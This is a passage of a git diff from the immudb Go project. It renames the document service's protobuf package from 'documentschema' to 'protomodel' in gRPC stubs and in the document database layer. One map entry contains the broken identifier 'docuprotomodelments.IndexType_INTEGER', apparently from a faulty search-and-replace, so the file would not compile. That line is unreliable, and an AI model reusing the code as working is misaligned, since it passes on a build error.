(*CollectionGetResponse, error) { - out := new(CollectionGetResponse) - err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/CollectionGet", in, out, opts...) +func (c *documentServiceClient) DocumentInsertMany(ctx context.Context, in *DocumentInsertManyRequest, opts ...grpc.CallOption) (*DocumentInsertManyResponse, error) { + out := new(DocumentInsertManyResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/DocumentInsertMany", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) { - out := new(CollectionListResponse) - err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/CollectionList", in, out, opts...) +func (c *documentServiceClient) DocumentUpdate(ctx context.Context, in *DocumentUpdateRequest, opts ...grpc.CallOption) (*DocumentUpdateResponse, error) { + out := new(DocumentUpdateResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/DocumentUpdate", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*CollectionDeleteResponse, error) { - out := new(CollectionDeleteResponse) - err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/CollectionDelete", in, out, opts...) +func (c *documentServiceClient) DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) { + out := new(DocumentSearchResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/DocumentSearch", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) CollectionUpdate(ctx context.Context, in *CollectionUpdateRequest, opts ...grpc.CallOption) (*CollectionUpdateResponse, error) { - out := new(CollectionUpdateResponse) - err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/CollectionUpdate", in, out, opts...) +func (c *documentServiceClient) DocumentAudit(ctx context.Context, in *DocumentAuditRequest, opts ...grpc.CallOption) (*DocumentAuditResponse, error) { + out := new(DocumentAuditResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/DocumentAudit", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) DocumentInsertMany(ctx context.Context, in *DocumentInsertManyRequest, opts ...grpc.CallOption) (*DocumentInsertManyResponse, error) { - out := new(DocumentInsertManyResponse) - err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/DocumentInsertMany", in, out, opts...) +func (c *documentServiceClient) DocumentProof(ctx context.Context, in *DocumentProofRequest, opts ...grpc.CallOption) (*DocumentProofResponse, error) { + out := new(DocumentProofResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/DocumentProof", in, out, opts...) if err != nil { return nil, err } @@ -142,38 +142,23 @@ func (c *documentServiceClient) DocumentInsertMany(ctx context.Context, in *Docu // All implementations should embed UnimplementedDocumentServiceServer // for forward compatibility type DocumentServiceServer interface { - DocumentInsert(context.Context, *DocumentInsertRequest) (*DocumentInsertResponse, error) - DocumentUpdate(context.Context, *DocumentUpdateRequest) (*DocumentUpdateResponse, error) - DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) - DocumentAudit(context.Context, *DocumentAuditRequest) (*DocumentAuditResponse, error) - DocumentProof(context.Context, *DocumentProofRequest) (*DocumentProofResponse, error) CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionCreateResponse, error) CollectionGet(context.Context, *CollectionGetRequest) (*CollectionGetResponse, error) CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) CollectionDelete(context.Context, *CollectionDeleteRequest) (*CollectionDeleteResponse, error) CollectionUpdate(context.Context, *CollectionUpdateRequest) (*CollectionUpdateResponse, error) + DocumentInsert(context.Context, *DocumentInsertRequest) (*DocumentInsertResponse, error) DocumentInsertMany(context.Context, *DocumentInsertManyRequest) (*DocumentInsertManyResponse, error) + DocumentUpdate(context.Context, *DocumentUpdateRequest) (*DocumentUpdateResponse, error) + DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) + DocumentAudit(context.Context, *DocumentAuditRequest) (*DocumentAuditResponse, error) + DocumentProof(context.Context, *DocumentProofRequest) (*DocumentProofResponse, error) } // UnimplementedDocumentServiceServer should be embedded to have forward compatible implementations. type UnimplementedDocumentServiceServer struct { } -func (UnimplementedDocumentServiceServer) DocumentInsert(context.Context, *DocumentInsertRequest) (*DocumentInsertResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method DocumentInsert not implemented") -} -func (UnimplementedDocumentServiceServer) DocumentUpdate(context.Context, *DocumentUpdateRequest) (*DocumentUpdateResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method DocumentUpdate not implemented") -} -func (UnimplementedDocumentServiceServer) DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method DocumentSearch not implemented") -} -func (UnimplementedDocumentServiceServer) DocumentAudit(context.Context, *DocumentAuditRequest) (*DocumentAuditResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method DocumentAudit not implemented") -} -func (UnimplementedDocumentServiceServer) DocumentProof(context.Context, *DocumentProofRequest) (*DocumentProofResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method DocumentProof not implemented") -} func (UnimplementedDocumentServiceServer) CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionCreateResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method CollectionCreate not implemented") } @@ -189,9 +174,24 @@ func (UnimplementedDocumentServiceServer) CollectionDelete(context.Context, *Col func (UnimplementedDocumentServiceServer) CollectionUpdate(context.Context, *CollectionUpdateRequest) (*CollectionUpdateResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method CollectionUpdate not implemented") } +func (UnimplementedDocumentServiceServer) DocumentInsert(context.Context, *DocumentInsertRequest) (*DocumentInsertResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method DocumentInsert not implemented") +} func (UnimplementedDocumentServiceServer) DocumentInsertMany(context.Context, *DocumentInsertManyRequest) (*DocumentInsertManyResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DocumentInsertMany not implemented") } +func (UnimplementedDocumentServiceServer) DocumentUpdate(context.Context, *DocumentUpdateRequest) (*DocumentUpdateResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method DocumentUpdate not implemented") +} +func (UnimplementedDocumentServiceServer) DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method DocumentSearch not implemented") +} +func (UnimplementedDocumentServiceServer) DocumentAudit(context.Context, *DocumentAuditRequest) (*DocumentAuditResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method DocumentAudit not implemented") +} +func (UnimplementedDocumentServiceServer) DocumentProof(context.Context, *DocumentProofRequest) (*DocumentProofResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method DocumentProof not implemented") +} // UnsafeDocumentServiceServer may be embedded to opt out of forward compatibility for this service. // Use of this interface is not recommended, as added methods to DocumentServiceServer will @@ -204,200 +204,200 @@ func RegisterDocumentServiceServer(s grpc.ServiceRegistrar, srv DocumentServiceS s.RegisterService(&DocumentService_ServiceDesc, srv) } -func _DocumentService_DocumentInsert_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(DocumentInsertRequest) +func _DocumentService_CollectionCreate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CollectionCreateRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).DocumentInsert(ctx, in) + return srv.(DocumentServiceServer).CollectionCreate(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.documentschema.DocumentService/DocumentInsert", + FullMethod: "/immudb.model.DocumentService/CollectionCreate", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).DocumentInsert(ctx, req.(*DocumentInsertRequest)) + return srv.(DocumentServiceServer).CollectionCreate(ctx, req.(*CollectionCreateRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_DocumentUpdate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(DocumentUpdateRequest) +func _DocumentService_CollectionGet_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CollectionGetRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).DocumentUpdate(ctx, in) + return srv.(DocumentServiceServer).CollectionGet(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.documentschema.DocumentService/DocumentUpdate", + FullMethod: "/immudb.model.DocumentService/CollectionGet", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).DocumentUpdate(ctx, req.(*DocumentUpdateRequest)) + return srv.(DocumentServiceServer).CollectionGet(ctx, req.(*CollectionGetRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_DocumentSearch_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(DocumentSearchRequest) +func _DocumentService_CollectionList_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CollectionListRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).DocumentSearch(ctx, in) + return srv.(DocumentServiceServer).CollectionList(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.documentschema.DocumentService/DocumentSearch", + FullMethod: "/immudb.model.DocumentService/CollectionList", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).DocumentSearch(ctx, req.(*DocumentSearchRequest)) + return srv.(DocumentServiceServer).CollectionList(ctx, req.(*CollectionListRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_DocumentAudit_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(DocumentAuditRequest) +func _DocumentService_CollectionDelete_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CollectionDeleteRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).DocumentAudit(ctx, in) + return srv.(DocumentServiceServer).CollectionDelete(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.documentschema.DocumentService/DocumentAudit", + FullMethod: "/immudb.model.DocumentService/CollectionDelete", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).DocumentAudit(ctx, req.(*DocumentAuditRequest)) + return srv.(DocumentServiceServer).CollectionDelete(ctx, req.(*CollectionDeleteRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_DocumentProof_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(DocumentProofRequest) +func _DocumentService_CollectionUpdate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CollectionUpdateRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).DocumentProof(ctx, in) + return srv.(DocumentServiceServer).CollectionUpdate(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.documentschema.DocumentService/DocumentProof", + FullMethod: "/immudb.model.DocumentService/CollectionUpdate", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).DocumentProof(ctx, req.(*DocumentProofRequest)) + return srv.(DocumentServiceServer).CollectionUpdate(ctx, req.(*CollectionUpdateRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_CollectionCreate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(CollectionCreateRequest) +func _DocumentService_DocumentInsert_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(DocumentInsertRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).CollectionCreate(ctx, in) + return srv.(DocumentServiceServer).DocumentInsert(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.documentschema.DocumentService/CollectionCreate", + FullMethod: "/immudb.model.DocumentService/DocumentInsert", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).CollectionCreate(ctx, req.(*CollectionCreateRequest)) + return srv.(DocumentServiceServer).DocumentInsert(ctx, req.(*DocumentInsertRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_CollectionGet_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(CollectionGetRequest) +func _DocumentService_DocumentInsertMany_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(DocumentInsertManyRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).CollectionGet(ctx, in) + return srv.(DocumentServiceServer).DocumentInsertMany(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.documentschema.DocumentService/CollectionGet", + FullMethod: "/immudb.model.DocumentService/DocumentInsertMany", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).CollectionGet(ctx, req.(*CollectionGetRequest)) + return srv.(DocumentServiceServer).DocumentInsertMany(ctx, req.(*DocumentInsertManyRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_CollectionList_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(CollectionListRequest) +func _DocumentService_DocumentUpdate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(DocumentUpdateRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).CollectionList(ctx, in) + return srv.(DocumentServiceServer).DocumentUpdate(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.documentschema.DocumentService/CollectionList", + FullMethod: "/immudb.model.DocumentService/DocumentUpdate", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).CollectionList(ctx, req.(*CollectionListRequest)) + return srv.(DocumentServiceServer).DocumentUpdate(ctx, req.(*DocumentUpdateRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_CollectionDelete_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(CollectionDeleteRequest) +func _DocumentService_DocumentSearch_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(DocumentSearchRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).CollectionDelete(ctx, in) + return srv.(DocumentServiceServer).DocumentSearch(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.documentschema.DocumentService/CollectionDelete", + FullMethod: "/immudb.model.DocumentService/DocumentSearch", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).CollectionDelete(ctx, req.(*CollectionDeleteRequest)) + return srv.(DocumentServiceServer).DocumentSearch(ctx, req.(*DocumentSearchRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_CollectionUpdate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(CollectionUpdateRequest) +func _DocumentService_DocumentAudit_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(DocumentAuditRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).CollectionUpdate(ctx, in) + return srv.(DocumentServiceServer).DocumentAudit(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.documentschema.DocumentService/CollectionUpdate", + FullMethod: "/immudb.model.DocumentService/DocumentAudit", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).CollectionUpdate(ctx, req.(*CollectionUpdateRequest)) + return srv.(DocumentServiceServer).DocumentAudit(ctx, req.(*DocumentAuditRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_DocumentInsertMany_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(DocumentInsertManyRequest) +func _DocumentService_DocumentProof_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(DocumentProofRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).DocumentInsertMany(ctx, in) + return srv.(DocumentServiceServer).DocumentProof(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.documentschema.DocumentService/DocumentInsertMany", + FullMethod: "/immudb.model.DocumentService/DocumentProof", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).DocumentInsertMany(ctx, req.(*DocumentInsertManyRequest)) + return srv.(DocumentServiceServer).DocumentProof(ctx, req.(*DocumentProofRequest)) } return interceptor(ctx, in, info, handler) } @@ -406,29 +406,9 @@ func _DocumentService_DocumentInsertMany_Handler(srv interface{}, ctx context.Co // It's only intended for direct use with grpc.RegisterService, // and not to be introspected or modified (even as a copy) var DocumentService_ServiceDesc = grpc.ServiceDesc{ - ServiceName: "immudb.documentschema.DocumentService", + ServiceName: "immudb.model.DocumentService", HandlerType: (*DocumentServiceServer)(nil), Methods: []grpc.MethodDesc{ - { - MethodName: "DocumentInsert", - Handler: _DocumentService_DocumentInsert_Handler, - }, - { - MethodName: "DocumentUpdate", - Handler: _DocumentService_DocumentUpdate_Handler, - }, - { - MethodName: "DocumentSearch", - Handler: _DocumentService_DocumentSearch_Handler, - }, - { - MethodName: "DocumentAudit", - Handler: _DocumentService_DocumentAudit_Handler, - }, - { - MethodName: "DocumentProof", - Handler: _DocumentService_DocumentProof_Handler, - }, { MethodName: "CollectionCreate", Handler: _DocumentService_CollectionCreate_Handler, @@ -449,11 +429,31 @@ var DocumentService_ServiceDesc = grpc.ServiceDesc{ MethodName: "CollectionUpdate", Handler: _DocumentService_CollectionUpdate_Handler, }, + { + MethodName: "DocumentInsert", + Handler: _DocumentService_DocumentInsert_Handler, + }, { MethodName: "DocumentInsertMany", Handler: _DocumentService_DocumentInsertMany_Handler, }, + { + MethodName: "DocumentUpdate", + Handler: _DocumentService_DocumentUpdate_Handler, + }, + { + MethodName: "DocumentSearch", + Handler: _DocumentService_DocumentSearch_Handler, + }, + { + MethodName: "DocumentAudit", + Handler: _DocumentService_DocumentAudit_Handler, + }, + { + MethodName: "DocumentProof", + Handler: _DocumentService_DocumentProof_Handler, + }, }, Streams: []grpc.StreamDesc{}, - Metadata: "documentschema.proto", + Metadata: "documents.proto", } diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index b767964aaa..7ffd4aa332 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -22,46 +22,46 @@ import ( "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" - schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" + "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" ) var ( - schemaToValueType = map[schemav2.IndexType]sql.SQLValueType{ - schemav2.IndexType_DOUBLE: sql.Float64Type, - schemav2.IndexType_STRING: sql.VarcharType, - schemav2.IndexType_INTEGER: sql.IntegerType, + schemaToValueType = map[protomodel.IndexType]sql.SQLValueType{ + protomodel.IndexType_DOUBLE: sql.Float64Type, + protomodel.IndexType_STRING: sql.VarcharType, + docuprotomodelments.IndexType_INTEGER: sql.IntegerType, } ) // DocumentDatabase is the interface for document database type DocumentDatabase interface { // GetCollection returns the collection schema - GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionGetResponse, error) + GetCollection(ctx context.Context, req *protomodel.CollectionGetRequest) (*protomodel.CollectionGetResponse, error) // CreateCollection creates a new collection - CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) (*schemav2.CollectionCreateResponse, error) + CreateCollection(ctx context.Context, req *protomodel.CollectionCreateRequest) (*protomodel.CollectionCreateResponse, error) // ListCollections returns the list of collection schemas - ListCollections(ctx context.Context, req *schemav2.CollectionListRequest) (*schemav2.CollectionListResponse, error) + ListCollections(ctx context.Context, req *protomodel.CollectionListRequest) (*protomodel.CollectionListResponse, error) // UpdateCollection updates an existing collection - UpdateCollection(ctx context.Context, req *schemav2.CollectionUpdateRequest) (*schemav2.CollectionUpdateResponse, error) + UpdateCollection(ctx context.Context, req *protomodel.CollectionUpdateRequest) (*protomodel.CollectionUpdateResponse, error) // DeleteCollection deletes a collection - DeleteCollection(ctx context.Context, req *schemav2.CollectionDeleteRequest) (*schemav2.CollectionDeleteResponse, error) + DeleteCollection(ctx context.Context, req *protomodel.CollectionDeleteRequest) (*protomodel.CollectionDeleteResponse, error) + // GetDocument returns the document + SearchDocuments(ctx context.Context, req *protomodel.DocumentSearchRequest) (document.DocumentReader, error) // InsertDocument creates a new document - InsertDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) - // SearchDocuments queries the document - SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRequest) (document.DocumentReader, error) + InsertDocument(ctx context.Context, req *protomodel.DocumentInsertRequest) (*protomodel.DocumentInsertResponse, error) // DocumentAudit returns the document audit history - DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditRequest) (*schemav2.DocumentAuditResponse, error) + DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditRequest) (*protomodel.DocumentAuditResponse, error) // UpdateDocument updates a document - UpdateDocument(ctx context.Context, req *schemav2.DocumentUpdateRequest) (*schemav2.DocumentUpdateResponse, error) + UpdateDocument(ctx context.Context, req *protomodel.DocumentUpdateRequest) (*protomodel.DocumentUpdateResponse, error) // DocumentProof returns the proofs for a document - DocumentProof(ctx context.Context, req *schemav2.DocumentProofRequest) (*schemav2.DocumentProofResponse, error) + DocumentProof(ctx context.Context, req *protomodel.DocumentProofRequest) (*protomodel.DocumentProofResponse, error) // DocumentInsertMany creates a new document - DocumentInsertMany(ctx context.Context, req *schemav2.DocumentInsertManyRequest) (*schemav2.DocumentInsertManyResponse, error) + DocumentInsertMany(ctx context.Context, req *protomodel.DocumentInsertManyRequest) (*protomodel.DocumentInsertManyResponse, error) } // CreateCollection creates a new collection -func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) (*schemav2.CollectionCreateResponse, error) { +func (d *db) CreateCollection(ctx context.Context, req *protomodel.CollectionCreateRequest) (*protomodel.CollectionCreateResponse, error) { indexKeys := make(map[string]*document.IndexOption) // validate index keys @@ -87,34 +87,34 @@ func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreat return nil, err } - return &schemav2.CollectionCreateResponse{Collection: cinfo}, nil + return &protomodel.CollectionCreateResponse{Collection: cinfo}, nil } -func (d *db) ListCollections(ctx context.Context, req *schemav2.CollectionListRequest) (*schemav2.CollectionListResponse, error) { +func (d *db) ListCollections(ctx context.Context, req *protomodel.CollectionListRequest) (*protomodel.CollectionListResponse, error) { collections, err := d.documentEngine.ListCollections(ctx) if err != nil { return nil, err } - cinfos := make([]*schemav2.CollectionInformation, 0, len(collections)) + cinfos := make([]*protomodel.CollectionInformation, 0, len(collections)) for collectionName, indexes := range collections { cinfos = append(cinfos, newCollectionInformation(collectionName, indexes)) } - return &schemav2.CollectionListResponse{Collections: cinfos}, nil + return &protomodel.CollectionListResponse{Collections: cinfos}, nil } // GetCollection returns the collection schema -func (d *db) GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionGetResponse, error) { +func (d *db) GetCollection(ctx context.Context, req *protomodel.CollectionGetRequest) (*protomodel.CollectionGetResponse, error) { cinfo, err := d.getCollection(ctx, req.Name) if err != nil { return nil, err } - return &schemav2.CollectionGetResponse{Collection: cinfo}, nil + return &protomodel.CollectionGetResponse{Collection: cinfo}, nil } -func (d *db) getCollection(ctx context.Context, collectionName string) (*schemav2.CollectionInformation, error) { +func (d *db) getCollection(ctx context.Context, collectionName string) (*protomodel.CollectionInformation, error) { indexes, err := d.documentEngine.GetCollection(ctx, collectionName) if err != nil { return nil, err @@ -124,7 +124,7 @@ func (d *db) getCollection(ctx context.Context, collectionName string) (*schemav } // SearchDocuments returns the documents matching the search request constraints -func (d *db) SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRequest) (document.DocumentReader, error) { +func (d *db) SearchDocuments(ctx context.Context, req *protomodel.DocumentSearchRequest) (document.DocumentReader, error) { queries := make([]*document.Query, 0, len(req.Query)) for _, q := range req.Query { queries = append(queries, &document.Query{ @@ -150,26 +150,26 @@ func (d *db) SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRe } // helper function to create a collection information -func newCollectionInformation(collectionName string, indexes []*sql.Index) *schemav2.CollectionInformation { - cinfo := &schemav2.CollectionInformation{ +func newCollectionInformation(collectionName string, indexes []*sql.Index) *protomodel.CollectionInformation { + cinfo := &protomodel.CollectionInformation{ Name: collectionName, - IndexKeys: make(map[string]*schemav2.IndexOption), + IndexKeys: make(map[string]*protomodel.IndexOption), } // iterate over indexes and extract primary and index keys for _, idx := range indexes { for _, col := range idx.Cols() { - var colType schemav2.IndexType + var colType protomodel.IndexType switch col.Type() { case sql.VarcharType: - colType = schemav2.IndexType_STRING + colType = protomodel.IndexType_STRING case sql.IntegerType: - colType = schemav2.IndexType_INTEGER + colType = protomodel.IndexType_INTEGER case sql.BLOBType: - colType = schemav2.IndexType_STRING + colType = protomodel.IndexType_STRING } - cinfo.IndexKeys[col.Name()] = &schemav2.IndexOption{ + cinfo.IndexKeys[col.Name()] = &protomodel.IndexOption{ Type: colType, } @@ -180,7 +180,7 @@ func newCollectionInformation(collectionName string, indexes []*sql.Index) *sche } // UpdateCollection updates an existing collection -func (d *db) UpdateCollection(ctx context.Context, req *schemav2.CollectionUpdateRequest) (*schemav2.CollectionUpdateResponse, error) { +func (d *db) UpdateCollection(ctx context.Context, req *protomodel.CollectionUpdateRequest) (*protomodel.CollectionUpdateResponse, error) { indexKeys := make(map[string]*document.IndexOption) // validate index keys @@ -206,33 +206,33 @@ func (d *db) UpdateCollection(ctx context.Context, req *schemav2.CollectionUpdat return nil, err } - return &schemav2.CollectionUpdateResponse{Collection: cinfo}, nil + return &protomodel.CollectionUpdateResponse{Collection: cinfo}, nil } // DeleteCollection deletes a collection -func (d *db) DeleteCollection(ctx context.Context, req *schemav2.CollectionDeleteRequest) (*schemav2.CollectionDeleteResponse, error) { +func (d *db) DeleteCollection(ctx context.Context, req *protomodel.CollectionDeleteRequest) (*protomodel.CollectionDeleteResponse, error) { err := d.documentEngine.DeleteCollection(ctx, req.Name) if err != nil { return nil, err } - return &schemav2.CollectionDeleteResponse{}, nil + return &protomodel.CollectionDeleteResponse{}, nil } // InsertDocument creates a new document -func (d *db) InsertDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) { +func (d *db) InsertDocument(ctx context.Context, req *protomodel.DocumentInsertRequest) (*protomodel.DocumentInsertResponse, error) { docID, txID, err := d.documentEngine.InsertDocument(ctx, req.Collection, req.Document) if err != nil { return nil, err } - return &schemav2.DocumentInsertResponse{ + return &protomodel.DocumentInsertResponse{ DocumentId: docID.EncodeToHexString(), TransactionId: txID, }, nil } -func (d *db) DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditRequest) (*schemav2.DocumentAuditResponse, error) { +func (d *db) DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditRequest) (*protomodel.DocumentAuditResponse, error) { // verify if document id is valid docID, err := document.NewDocumentIDFromHexEncodedString(req.DocumentId) if err != nil { @@ -248,12 +248,12 @@ func (d *db) DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditReque return nil, fmt.Errorf("error fetching document history: %v", err) } - resp := &schemav2.DocumentAuditResponse{ - Results: make([]*schemav2.DocumentAudit, 0, len(historyLogs)), + resp := &protomodel.DocumentAuditResponse{ + Results: make([]*protomodel.DocumentAudit, 0, len(historyLogs)), } for _, log := range historyLogs { - resp.Results = append(resp.Results, &schemav2.DocumentAudit{ + resp.Results = append(resp.Results, &protomodel.DocumentAudit{ TransactionId: log.TxID, Revision: log.Revision, Document: log.Document, @@ -264,7 +264,7 @@ func (d *db) DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditReque } // UpdateDocument updates a document -func (d *db) UpdateDocument(ctx context.Context, req *schemav2.DocumentUpdateRequest) (*schemav2.DocumentUpdateResponse, error) { +func (d *db) UpdateDocument(ctx context.Context, req 